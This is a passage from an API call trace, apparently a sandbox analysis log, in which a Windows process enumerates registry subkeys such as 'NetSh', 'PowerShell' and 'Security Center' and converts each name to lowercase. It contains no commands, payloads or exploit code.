lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0193.619] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0xd3b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0xd3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0193.620] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0xd3b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0xd3c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0193.620] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0xd3b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0xd3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0193.620] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0xd3b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0xd3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0193.620] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0xd3b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0xd3c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0193.620] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0xd3b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0xd3c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0193.620] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0xd3b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0193.621] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0xd3b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0xd3c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0193.621] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0xd3b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0xd3c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0193.621] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0xd3b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0xd3c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0193.621] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0xd3b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0193.621] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0xd3b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0xd3c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0193.621] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0xd3b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0193.621] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0xd3b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0xd3c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0193.622] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0xd3b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0xd3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0193.622] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0xd3b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0xd3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0193.622] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0xd3b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0193.622] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0xd3b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0xd3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0193.622] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0xd3b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0xd3c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0193.622] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0xd3b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0193.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0xd3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0193.623] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0xd3b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0193.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0xd3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0193.623] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0xd3b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0193.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0xd3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0193.623] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0xd3b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0193.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0193.623] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0xd3b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0193.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0xd3c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0193.623] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0xd3b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0193.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0xd3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0193.630] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0xd3b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0193.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0xd3c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0193.630] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0xd3b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0193.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0193.630] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0xd3b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0193.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0xd3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0193.630] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0xd3b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0193.631] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0xd3b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0xd3c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0193.631] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0xd3b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0xd3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0193.631] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0xd3b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0xd3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0193.631] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0xd3b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xd3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0193.631] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0xd3b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0xd3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0193.631] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0xd3b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0xd3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0193.632] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0xd3b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0xd3c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0193.632] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0xd3b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0193.632] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0xd3b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0xd3c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0193.632] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0xd3b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0xd3c120, cbMultiByte=16, lpDefaultChar=0x0, 